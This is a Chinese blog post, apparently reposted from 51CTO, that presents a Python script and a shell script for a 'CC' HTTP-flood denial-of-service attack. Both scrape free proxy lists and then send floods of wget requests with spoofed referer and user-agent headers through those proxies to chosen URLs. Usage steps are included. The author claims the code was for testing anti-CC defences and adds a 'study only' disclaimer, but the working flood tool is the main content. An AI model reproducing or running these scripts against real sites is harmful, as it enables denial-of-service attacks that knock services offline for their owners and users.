Linux CC攻击脚本

简介:
CC(ChallengeCollapsar)主要是用来攻击页面的。大家都有这样的经历,就是在访问论坛时,如果这个论坛比较大,访问的人比较多,打开页面的速度会比较慢,访问的人越多,论坛的页面越多,数据库就越大,被访问的频率也越高,占用的系统资源也就相当可观。


    最近在做一些防CC的措施,想验证效果就的有类似CC的攻击,所以写了个Python脚本来模拟CC攻击,其原理很简单,就是去网络上拉取一下渣渣代理,然后通过代理去访问服务器,成本低的吓人,但影响却不小...代码如下(该脚本只能用于交流学习,一切因该脚本产生的不良后果,与我无关):

#!/usr/bin/python
#-------------------------------------------------------------------------------
# Name:        CC.py
#
# Author:      LiuSha
#
# Created:     1/07/2014
# Email:       itchenyi@gmail.com
#-------------------------------------------------------------------------------

import urllib2
import re
import os
import threading
import time
import random

class RunCC(threading.Thread):
    def __init__(self,proxy,url):
        threading.Thread.__init__(self)
        self.thread_proxy = proxy
        self.thread_url = url
        self.thread_stop = False

    def run(self):
        while not self.thread_stop:
            os.system("""wget --ignore-length --cache=off --no-http-keep-alive -t 1 --referer="http://www.10086.com" -U 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)' -e "http_proxy=http://%s/" "%s" &"""%(self.thread_proxy,self.thread_url))
    def stop(self):
        self.thread_stop = True
        
        

def get_stock_html(URL): 
    opener = urllib2.build_opener(
        urllib2.HTTPRedirectHandler(),
        urllib2.HTTPHandler(debuglevel=0),
        )
    opener.addheaders = [
        ('User-agent',
         'Mozilla/4.0 (compatible;MSIE 7.0;'
         'Windows NT 5.1; .NET CLR 2.0.50727;'
         '.NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
         ]
    url = "http://proxy.com.ru/%s"%URL
    response = opener.open(url)
    return ''.join(response.readlines())

def Getting_Url():
    global CC_Url
    file = open('url','r')
    CC_Url = file.readlines()
    file.close()

def Getting_list():
    global IP_Port
    IP_Port = []
    for html_list in re.findall('list_\d+.html',get_stock_html("list_1.html")):
        print "getting %s's IP:PORT"%html_list
        IP_Port += eval(re.sub('',':',"%s"%re.findall('\d+.\d+.\d+.\d+\d+',get_stock_html(html_list))))
        
def main():
    global CC_Dict
    CC_Dict = {}
    for i_name in range(len(IP_Port)):
        CC_Dict['Thread%s'%i_name] = "RunCC('%s',r'''%s''')"%(IP_Port[i_name],random.choice(CC_Url))
    for k,v in CC_Dict.items():
        k = eval(v)
        k.start()
        time.sleep(0.6)
        k.stop()
        
if __name__ == '__main__':
    Getting_Url()
    Getting_list()
    main()

  使用方法:

###url 文件一行一个url不嫌多###
[root@test-CC CC]# cat url 
http://www.ipython.me/about-me
http://www.ipython.me/
###直接运行###
[root@test-CC CC]# python cc.py

  帅气的大飞哥也用shell 粗暴的写了一个出来,代码如下:

#!/bin/sh
#Email : zhengxiaofeiccc@139.com
url=$1
page_number=`curl http://proxy.com.ru |grep -o "list_.*html"|awk -F "'" '{print $NF}'|tail -1|grep -o \[0-9\]*`

for i in `seq 1 $page_number`
do
curl  http://proxy.com.ru/list_$i.html|egrep -o "[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}.*[0-9]{2,4}"|awk -F "<|>" '{print $1,$NF}' >> ip.txt
done

while read ip port
do
wget  -b  --cache=off --ignore-length --referer="http://www.10086.com" -U 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)' \
-Y on -e "http_proxy=http://$ip:$port/" "$url"
done < ip.txt









本文转自 lgpqdwjh 51CTO博客,原文链接:http://blog.51cto.com/itchenyi/1545085,如需转载请自行联系原作者
目录
相关文章
|
11天前
|
云安全 安全 BI
CC攻击该怎么防护更好
随着互联网发展,CC攻击成为严峻的网络安全问题。这种DDoS攻击通过操纵大量主机,向目标服务器发送大量请求,导致服务器资源耗尽。应对CC攻击,可以采取以下策略:部署高防IP或SCDN服务,限制请求频率,以及使用验证码验证。德迅云安全提供一站式安全加速解决方案,包括Web应用防火墙、CDN加速和抗DDoS防护,利用AI检测、智能语义解析等技术,有效防御各种网络攻击,同时保证网站内容的快速稳定访问。通过实时数据统计和安全可视化工具,便于监控和应对安全威胁。综合运用这些方法能有效降低CC攻击影响,保障Web应用程序的安全稳定运行。
|
5天前
|
Java Linux PHP
【应急响应】后门攻击检测指南&Rookit&内存马&权限维持&WIN&Linux
【应急响应】后门攻击检测指南&Rookit&内存马&权限维持&WIN&Linux
|
7天前
|
监控 Shell Linux
Linux的Shell脚本详解
Linux的Shell脚本详解
|
18天前
|
存储 缓存 负载均衡
CC攻击解析与防御策略
CC攻击是DDoS的一种,利用代理服务器向目标发送大量合法请求,消耗服务器资源。识别特征包括命令行大量&quot;SYN_RECEIVED&quot;连接、IP批量异常连接和日志中异常访问模式。防御策略包括提升服务器性能、数据缓存优化、页面静态化、请求速率限制、IP访问限制及使用CDN。专业高防产品提供智能识别和响应,帮助企业构建全面防御体系。
211 2
|
19天前
|
Ubuntu Java Linux
Linux centos7 ubuntu 一键安装Java JDK 脚本 shell 脚本
Linux centos7 ubuntu 一键安装Java JDK 脚本 shell 脚本
|
19天前
|
Ubuntu 应用服务中间件 Linux
Linux Centos7 ubuntu 安装nginx,脚本一键安装nginx
Linux Centos7 ubuntu 安装nginx,脚本一键安装nginx
|
20天前
|
Shell Linux
shell linux中shell脚本编写俄罗斯方块
shell linux中shell脚本编写俄罗斯方块
|
20天前
|
Shell Linux Perl
Linux shell脚本sed使用
Linux shell脚本sed使用
|
11天前
|
Linux
Linux 系统日常巡检脚本 干货
Linux 系统日常巡检脚本 干货
10 0
|
12天前
|
Linux Shell 测试技术
Linux服务器测试脚本集合
LemonBench是iLemonrain创作的Linux服务器性能测试工具,能一键检测系统信息、网络、CPU、内存和硬盘性能。
10 0